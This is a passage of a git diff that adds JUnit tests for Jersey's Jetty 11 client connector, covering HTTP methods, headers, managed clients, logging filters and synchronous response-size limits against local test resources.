+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+
+import org.junit.jupiter.api.Test;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+/**
+ *
+ * @author Jakub Podlesak
+ */
+public class HelloWorldTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(HelloWorldTest.class.getName());
+ private static final String ROOT_PATH = "helloworld";
+
+ @Path("helloworld")
+ public static class HelloWorldResource {
+ public static final String CLICHED_MESSAGE = "Hello World!";
+
+ @GET
+ @Produces("text/plain")
+ public String getHello() {
+ return CLICHED_MESSAGE;
+ }
+
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(HelloWorldResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.connectorProvider(new JettyConnectorProvider());
+ }
+
+ @Test
+ public void testConnection() {
+ Response response = target().path(ROOT_PATH).request("text/plain").get();
+ assertEquals(200, response.getStatus());
+ }
+
+ @Test
+ public void testClientStringResponse() {
+ String s = target().path(ROOT_PATH).request().get(String.class);
+ assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
+ }
+
+ @Test
+ public void testAsyncClientRequests() throws InterruptedException {
+ final int REQUESTS = 20;
+ final CountDownLatch latch = new CountDownLatch(REQUESTS);
+ final long tic = System.currentTimeMillis();
+ for (int i = 0; i < REQUESTS; i++) {
+ final int id = i;
+ target().path(ROOT_PATH).request().async().get(new InvocationCallback<Response>() {
+ @Override
+ public void completed(Response response) {
+ try {
+ final String result = response.readEntity(String.class);
+ assertEquals(HelloWorldResource.CLICHED_MESSAGE, result);
+ } finally {
+ latch.countDown();
+ }
+ }
+
+ @Override
+ public void failed(Throwable error) {
+ error.printStackTrace();
+ latch.countDown();
+ }
+ });
+ }
+ latch.await(10 * getAsyncTimeoutMultiplier(), TimeUnit.SECONDS);
+ final long toc = System.currentTimeMillis();
+ Logger.getLogger(HelloWorldTest.class.getName()).info("Executed in: " + (toc - tic));
+ }
+
+ @Test
+ public void testHead() {
+ Response response = target().path(ROOT_PATH).request().head();
+ assertEquals(200, response.getStatus());
+ assertEquals(MediaType.TEXT_PLAIN_TYPE, response.getMediaType());
+ }
+
+ @Test
+ public void testFooBarOptions() {
+ Response response = target().path(ROOT_PATH).request().header("Accept", "foo/bar").options();
+ assertEquals(200, response.getStatus());
+ final String allowHeader = response.getHeaderString("Allow");
+ _checkAllowContent(allowHeader);
+ assertEquals("foo/bar", response.getMediaType().toString());
+ assertEquals(0, response.getLength());
+ }
+
+ @Test
+ public void testTextPlainOptions() {
+ Response response = target().path(ROOT_PATH).request().header("Accept", MediaType.TEXT_PLAIN).options();
+ assertEquals(200, response.getStatus());
+ final String allowHeader = response.getHeaderString("Allow");
+ _checkAllowContent(allowHeader);
+ assertEquals(MediaType.TEXT_PLAIN_TYPE, response.getMediaType());
+ final String responseBody = response.readEntity(String.class);
+ _checkAllowContent(responseBody);
+ }
+
+ private void _checkAllowContent(final String content) {
+ assertTrue(content.contains("GET"));
+ assertTrue(content.contains("HEAD"));
+ assertTrue(content.contains("OPTIONS"));
+ }
+
+ @Test
+ public void testMissingResourceNotFound() {
+ Response response;
+
+ response = target().path(ROOT_PATH + "arbitrary").request().get();
+ assertEquals(404, response.getStatus());
+ response.close();
+
+ response = target().path(ROOT_PATH).path("arbitrary").request().get();
+ assertEquals(404, response.getStatus());
+ response.close();
+ }
+
+ @Test
+ public void testLoggingFilterClientClass() {
+ Client client = client();
+ client.register(CustomLoggingFilter.class).property("foo", "bar");
+ CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
+ String s = target().path(ROOT_PATH).request().get(String.class);
+ assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
+ assertEquals(1, CustomLoggingFilter.preFilterCalled);
+ assertEquals(1, CustomLoggingFilter.postFilterCalled);
+ client.close();
+ }
+
+ @Test
+ public void testLoggingFilterClientInstance() {
+ Client client = client();
+ client.register(new CustomLoggingFilter()).property("foo", "bar");
+ CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
+ String s = target().path(ROOT_PATH).request().get(String.class);
+ assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
+ assertEquals(1, CustomLoggingFilter.preFilterCalled);
+ assertEquals(1, CustomLoggingFilter.postFilterCalled);
+ client.close();
+ }
+
+ @Test
+ public void testLoggingFilterTargetClass() {
+ WebTarget target = target().path(ROOT_PATH);
+ target.register(CustomLoggingFilter.class).property("foo", "bar");
+ CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
+ String s = target.request().get(String.class);
+ assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
+ assertEquals(1, CustomLoggingFilter.preFilterCalled);
+ assertEquals(1, CustomLoggingFilter.postFilterCalled);
+ }
+
+ @Test
+ public void testLoggingFilterTargetInstance() {
+ WebTarget target = target().path(ROOT_PATH);
+ target.register(new CustomLoggingFilter()).property("foo", "bar");
+ CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
+ String s = target.request().get(String.class);
+ assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
+ assertEquals(1, CustomLoggingFilter.preFilterCalled);
+ assertEquals(1, CustomLoggingFilter.postFilterCalled);
+ }
+
+ @Test
+ public void testConfigurationUpdate() {
+ Client client1 = client();
+ client1.register(CustomLoggingFilter.class).property("foo", "bar");
+
+ Client client = ClientBuilder.newClient(client1.getConfiguration());
+ CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
+ String s = target().path(ROOT_PATH).request().get(String.class);
+ assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
+ assertEquals(1, CustomLoggingFilter.preFilterCalled);
+ assertEquals(1, CustomLoggingFilter.postFilterCalled);
+ client.close();
+ }
+
+}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/HttpHeadersTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/HttpHeadersTest.java
new file mode 100644
index 0000000..c40b811
--- /dev/null
+++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/HttpHeadersTest.java
@@ -0,0 +1,101 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import java.util.List;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.HeaderParam;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.HttpHeaders;
+import jakarta.ws.rs.core.Response;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+
+/**
+ * Tests the headers.
+ *
+ * @author Stepan Kopriva
+ */
+public class HttpHeadersTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(HttpHeadersTest.class.getName());
+
+ @Path("/test")
+ public static class HttpMethodResource {
+ @POST
+ public String post(
+ @HeaderParam("Transfer-Encoding") String transferEncoding,
+ @HeaderParam("X-CLIENT") String xClient,
+ @HeaderParam("X-WRITER") String xWriter,
+ String entity) {
+ assertEquals("client", xClient);
+ return "POST";
+ }
+
+ @GET
+ public String testUserAgent(@Context HttpHeaders httpHeaders) {
+ final List<String> requestHeader = httpHeaders.getRequestHeader(HttpHeaders.USER_AGENT);
+ if (requestHeader.size() != 1) {
+ return "FAIL";
+ }
+ return requestHeader.get(0);
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(HttpMethodResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.connectorProvider(new JettyConnectorProvider());
+ }
+
+ @Test
+ public void testPost() {
+ Response response = target().path("test").request().header("X-CLIENT", "client").post(null);
+
+ assertEquals(200, response.getStatus());
+ assertTrue(response.hasEntity());
+ }
+
+ /**
+ * Test, that {@code User-agent} header is as set by Jersey, not by underlying Jetty client.
+ */
+ @Test
+ public void testUserAgent() {
+ String response = target().path("test").request().get(String.class);
+ assertTrue(response.startsWith("Jersey"), "User-agent header should start with 'Jersey', but was " + response);
+ }
+}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/ManagedClientTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/ManagedClientTest.java
new file mode 100644
index 0000000..eeafa01
--- /dev/null
+++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/ManagedClientTest.java
@@ -0,0 +1,256 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import java.io.IOException;
+import java.lang.annotation.Documented;
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.client.ClientRequestContext;
+import jakarta.ws.rs.client.ClientRequestFilter;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.container.ContainerRequestContext;
+import jakarta.ws.rs.container.ContainerRequestFilter;
+import jakarta.ws.rs.container.DynamicFeature;
+import jakarta.ws.rs.container.ResourceInfo;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.FeatureContext;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ClientBinding;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.server.Uri;
+import org.glassfish.jersey.test.JerseyTest;
+
+import org.junit.jupiter.api.Test;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * Jersey programmatic managed client test
+ *
+ * @author Marek Potociar
+ */
+public class ManagedClientTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(ManagedClientTest.class.getName());
+
+ /**
+ * Managed client configuration for client A.
+ */
+ @ClientBinding(configClass = MyClientAConfig.class)
+ @Documented
+ @Retention(RetentionPolicy.RUNTIME)
+ @Target({ElementType.FIELD, ElementType.PARAMETER})
+ public static @interface ClientA {
+ }
+
+ /**
+ * Managed client configuration for client B.
+ */
+ @ClientBinding(configClass = MyClientBConfig.class)
+ @Documented
+ @Retention(RetentionPolicy.RUNTIME)
+ @Target({ElementType.FIELD, ElementType.PARAMETER})
+ public @interface ClientB {
+ }
+
+ /**
+ * Dynamic feature that appends a properly configured {@link CustomHeaderFilter} instance
+ * to every method that is annotated with {@link Require @Require} internal feature
+ * annotation.
+ */
+ public static class CustomHeaderFeature implements DynamicFeature {
+
+ /**
+ * A method annotation to be placed on those resource methods to which a validating
+ * {@link CustomHeaderFilter} instance should be added.
+ */
+ @Retention(RetentionPolicy.RUNTIME)
+ @Documented
+ @Target(ElementType.METHOD)
+ public static @interface Require {
+
+ /**
+ * Expected custom header name to be validated by the {@link CustomHeaderFilter}.
+ */
+ public String headerName();
+
+ /**
+ * Expected custom header value to be validated by the {@link CustomHeaderFilter}.
+ */
+ public String headerValue();
+ }
+
+ @Override
+ public void configure(ResourceInfo resourceInfo, FeatureContext context) {
+ final Require va = resourceInfo.getResourceMethod().getAnnotation(Require.class);
+ if (va != null) {
+ context.register(new CustomHeaderFilter(va.headerName(), va.headerValue()));
+ }
+ }
+ }
+
+ /**
+ * A filter for appending and validating custom headers.
+ * <p>
+ * On the client side, appends a new custom request header with a configured name and value to each outgoing request.
+ * </p>
+ * <p>
+ * On the server side, validates that each request has a custom header with a configured name and value.
+ * If the validation fails a HTTP 403 response is returned.
+ * </p>
+ */
+ public static class CustomHeaderFilter implements ContainerRequestFilter, ClientRequestFilter {
+
+ private final String headerName;
+ private final String headerValue;
+
+ public CustomHeaderFilter(String headerName, String headerValue) {
+ if (headerName == null || headerValue == null) {
+ throw new IllegalArgumentException("Header name and value must not be null.");
+ }
+ this.headerName = headerName;
+ this.headerValue = headerValue;
+ }
+
+ @Override
+ public void filter(ContainerRequestContext ctx) throws IOException { // validate
+ if (!headerValue.equals(ctx.getHeaderString(headerName))) {
+ ctx.abortWith(Response.status(Response.Status.FORBIDDEN)
+ .type(MediaType.TEXT_PLAIN)
+ .entity(String
+ .format("Expected header '%s' not present or value not equal to '%s'", headerName, headerValue))
+ .build());
+ }
+ }
+
+ @Override
+ public void filter(ClientRequestContext ctx) throws IOException { // append
+ ctx.getHeaders().putSingle(headerName, headerValue);
+ }
+ }
+
+ /**
+ * Internal resource accessed from the managed client resource.
+ */
+ @Path("internal")
+ public static class InternalResource {
+
+ @GET
+ @Path("a")
+ @CustomHeaderFeature.Require(headerName = "custom-header", headerValue = "a")
+ public String getA() {
+ return "a";
+ }
+
+ @GET
+ @Path("b")
+ @CustomHeaderFeature.Require(headerName = "custom-header", headerValue = "b")
+ public String getB() {
+ return "b";
+ }
+ }
+
+ /**
+ * A resource that uses managed clients to retrieve values of internal
+ * resources 'A' and 'B', which are protected by a {@link CustomHeaderFilter}
+ * and require a specific custom header in a request to be set to a specific value.
+ * <p>
+ * Properly configured managed clients have a {@code CustomHeaderFilter} instance
+ * configured to insert the {@link CustomHeaderFeature.Require required} custom header
+ * with a proper value into the outgoing client requests.
+ * </p>
+ */
+ @Path("public")
+ public static class PublicResource {
+
+ @Uri("a")
+ @ClientA // resolves to <base>/internal/a
+ private WebTarget targetA;
+
+ @GET
+ @Produces("text/plain")
+ @Path("a")
+ public String getTargetA() {
+ return targetA.request(MediaType.TEXT_PLAIN).get(String.class);
+ }
+
+ @GET
+ @Produces("text/plain")
+ @Path("b")
+ public Response getTargetB(@Uri("internal/b") @ClientB WebTarget targetB) {
+ return targetB.request(MediaType.TEXT_PLAIN).get();
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(PublicResource.class, InternalResource.class, CustomHeaderFeature.class)
+ .property(ClientA.class.getName() + ".baseUri", this.getBaseUri().toString() + "internal");
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ public static class MyClientAConfig extends ClientConfig {
+
+ public MyClientAConfig() {
+ this.register(new CustomHeaderFilter("custom-header", "a"));
+ }
+ }
+
+ public static class MyClientBConfig extends ClientConfig {
+
+ public MyClientBConfig() {
+ this.register(new CustomHeaderFilter("custom-header", "b"));
+ }
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.connectorProvider(new JettyConnectorProvider());
+ }
+
+ /**
+ * Test that a connection via managed clients works properly.
+ *
+ * @throws Exception in case of test failure.
+ */
+ @Test
+ public void testManagedClient() throws Exception {
+ final WebTarget resource = target().path("public").path("{name}");
+ Response response;
+
+ response = resource.resolveTemplate("name", "a").request(MediaType.TEXT_PLAIN).get();
+ assertEquals(200, response.getStatus());
+ assertEquals("a", response.readEntity(String.class));
+
+ response = resource.resolveTemplate("name", "b").request(MediaType.TEXT_PLAIN).get();
+ assertEquals(200, response.getStatus());
+ assertEquals("b", response.readEntity(String.class));
+ }
+
+}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/MethodTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/MethodTest.java
new file mode 100644
index 0000000..dc366d1
--- /dev/null
+++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/MethodTest.java
@@ -0,0 +1,153 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import java.util.concurrent.ExecutionException;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.DELETE;
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.PATCH;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.PUT;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+
+import org.junit.jupiter.api.Test;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * Tests the Http methods.
+ *
+ * @author Stepan Kopriva
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ */
+public class MethodTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(MethodTest.class.getName());
+
+ private static final String PATH = "test";
+
+ @Path("/test")
+ public static class HttpMethodResource {
+ @GET
+ public String get() {
+ return "GET";
+ }
+
+ @POST
+ public String post(String entity) {
+ return entity;
+ }
+
+ @PUT
+ public String put(String entity) {
+ return entity;
+ }
+
+ @PATCH
+ public String patch(String entity) {
+ return entity;
+ }
+
+ @DELETE
+ public String delete() {
+ return "DELETE";
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(HttpMethodResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.connectorProvider(new JettyConnectorProvider());
+ }
+
+ @Test
+ public void testGet() {
+ Response response = target(PATH).request().get();
+ assertEquals("GET", response.readEntity(String.class));
+ }
+
+ @Test
+ public void testGetAsync() throws ExecutionException, InterruptedException {
+ Response response = target(PATH).request().async().get().get();
+ assertEquals("GET", response.readEntity(String.class));
+ }
+
+ @Test
+ public void testPost() {
+ Response response = target(PATH).request().post(Entity.entity("POST", MediaType.TEXT_PLAIN));
+ assertEquals("POST", response.readEntity(String.class));
+ }
+
+ @Test
+ public void testPostAsync() throws ExecutionException, InterruptedException {
+ Response response = target(PATH).request().async().post(Entity.entity("POST", MediaType.TEXT_PLAIN)).get();
+ assertEquals("POST", response.readEntity(String.class));
+ }
+
+ @Test
+ public void testPut() {
+ Response response = target(PATH).request().put(Entity.entity("PUT", MediaType.TEXT_PLAIN));
+ assertEquals("PUT", response.readEntity(String.class));
+ }
+
+ @Test
+ public void testPutAsync() throws ExecutionException, InterruptedException {
+ Response response = target(PATH).request().async().put(Entity.entity("PUT", MediaType.TEXT_PLAIN)).get();
+ assertEquals("PUT", response.readEntity(String.class));
+ }
+
+ @Test
+ public void testDelete() {
+ Response response = target(PATH).request().delete();
+ assertEquals("DELETE", response.readEntity(String.class));
+ }
+
+ @Test
+ public void testDeleteAsync() throws ExecutionException, InterruptedException {
+ Response response = target(PATH).request().async().delete().get();
+ assertEquals("DELETE", response.readEntity(String.class));
+ }
+
+ @Test
+ public void testPatch() {
+ Response response = target(PATH).request().method("PATCH", Entity.entity("PATCH", MediaType.TEXT_PLAIN));
+ assertEquals("PATCH", response.readEntity(String.class));
+ }
+
+ @Test
+ public void testOptionsWithEntity() {
+ Response response = target(PATH).request().build("OPTIONS", Entity.text("OPTIONS")).invoke();
+ assertEquals(200, response.getStatus());
+ response.close();
+ }
+}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/NoEntityTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/NoEntityTest.java
new file mode 100644
index 0000000..d4b3f2e
--- /dev/null
+++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/NoEntityTest.java
@@ -0,0 +1,102 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import jakarta.ws.rs.core.Response.Status;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+
+import org.junit.jupiter.api.Test;
+
+/**
+ * @author Paul Sandoz
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ */
+public class NoEntityTest extends JerseyTest {
+ private static final Logger LOGGER = Logger.getLogger(NoEntityTest.class.getName());
+
+ @Path("/test")
+ public static class HttpMethodResource {
+ @GET
+ public Response get() {
+ return Response.status(Status.CONFLICT).build();
+ }
+
+ @POST
+ public void post(String entity) {
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(HttpMethodResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.connectorProvider(new JettyConnectorProvider());
+ }
+
+ @Test
+ public void testGet() {
+ WebTarget r = target("test");
+
+ for (int i = 0; i < 5; i++) {
+ Response cr = r.request().get();
+ cr.close();
+ }
+ }
+
+ @Test
+ public void testGetWithClose() {
+ WebTarget r = target("test");
+ for (int i = 0; i < 5; i++) {
+ Response cr = r.request().get();
+ cr.close();
+ }
+ }
+
+ @Test
+ public void testPost() {
+ WebTarget r = target("test");
+ for (int i = 0; i < 5; i++) {
+ Response cr = r.request().post(null);
+ }
+ }
+
+ @Test
+ public void testPostWithClose() {
+ WebTarget r = target("test");
+ for (int i = 0; i < 5; i++) {
+ Response cr = r.request().post(null);
+ cr.close();
+ }
+ }
+}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/SyncResponseSizeTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/SyncResponseSizeTest.java
new file mode 100644
index 0000000..32c71bb
--- /dev/null
+++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/SyncResponseSizeTest.java
@@ -0,0 +1,171 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.ClientProperties;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import java.net.URI;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeoutException;
+import java.util.logging.Logger;
+
+import static org.hamcrest.CoreMatchers.instanceOf;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+import static org.junit.jupiter.api.Assertions.fail;
+
+/**
+ * Default synchronous jetty client implementation has a hard response size limit of 2MiB.
+ * When response is too big, a processing exception is thrown.
+ * The original code path was left to preserve this behaviour but could be removed
+ * and reworked in the future with a custom listener like async path.
+ *
+ * This tests the previous behavior with large payloads (>2MiB), the new size override (4MiB)
+ * and very big payloads (>4MiB).
+ *
+ * @author cen1 (cen.is.imba at gmail.com)
+ */
+public class SyncResponseSizeTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(SyncResponseSizeTest.class.getName());
+
+ private static final int maxBufferSize = 4 * 1024 * 1024; //4 MiB
+
+ @Path("/test")
+ public static class TimeoutResource {
+
+ private static final byte[] data = new byte[maxBufferSize];
+
+ static {
+ Byte b = "a".getBytes()[0];
+ for (int i = 0; i < maxBufferSize; i++) data[i] = b.byteValue();
+ }
+
+ @GET
+ @Path("/small")
+ public String getSmall() {
+ return "GET";
+ }
+
+ @GET
+ @Path("/big")
+ public String getBig() {
+ return new String(data);
+ }
+
+ @GET
+ @Path("/verybig")
+ public String getVeryBig() {
+ return new String(data) + "a";
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(TimeoutResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.connectorProvider(new JettyConnectorProvider());
+ }
+
+ @Test
+ public void testDefaultSmall() {
+ Response r = target("test/small").request().get();
+ assertEquals(200, r.getStatus());
+ assertEquals("GET", r.readEntity(String.class));
+ }
+
+ @Test
+ public void testDefaultTooBig() {
+ final URI u = target().getUri();
+ ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000);
+ config.connectorProvider(new JettyConnectorProvider());
+
+ Client c = ClientBuilder.newClient(config);
+ WebTarget t = c.target(u);
+ try {
+ t.path("test/big").request().get();
+ fail("Exception expected.");
+ } catch (ProcessingException e) {
+ // Buffering capacity ... exceeded.
+ assertTrue(ExecutionException.class.isInstance(e.getCause()));
+ assertTrue(IllegalArgumentException.class.isInstance(e.getCause().getCause()));
+ } finally {
+ c.close();
+ }
+ }
+
+ @Test
+ public void testCustomBig() {
+ final URI u = target().getUri();
+ ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000);
+ config.connectorProvider(new JettyConnectorProvider());
+ config.property(JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE, maxBufferSize);
+
+ Client c = ClientBuilder.newClient(config);
+ WebTarget t = c.target(u);
+ try {
+ Response r = t.path("test/big").request().get();
+ String p = r.readEntity(String.class);
+ assertEquals(p.length(), maxBufferSize);
+ } catch (ProcessingException e) {
+ assertThat("Unexpected processing exception cause",
+ e.getCause(), instanceOf(TimeoutException.class));
+ } finally {
+ c.close();
+ }
+ }
+
+ @Test
+ public void testCustomTooBig() {
+ final URI u = target().getUri();
+ ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000);
+ config.connectorProvider(new JettyConnectorProvider());
+ config.property(JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE, maxBufferSize);
+
+ Client c = ClientBuilder.newClient(config);
+ WebTarget t = c.target(u);
+ try {
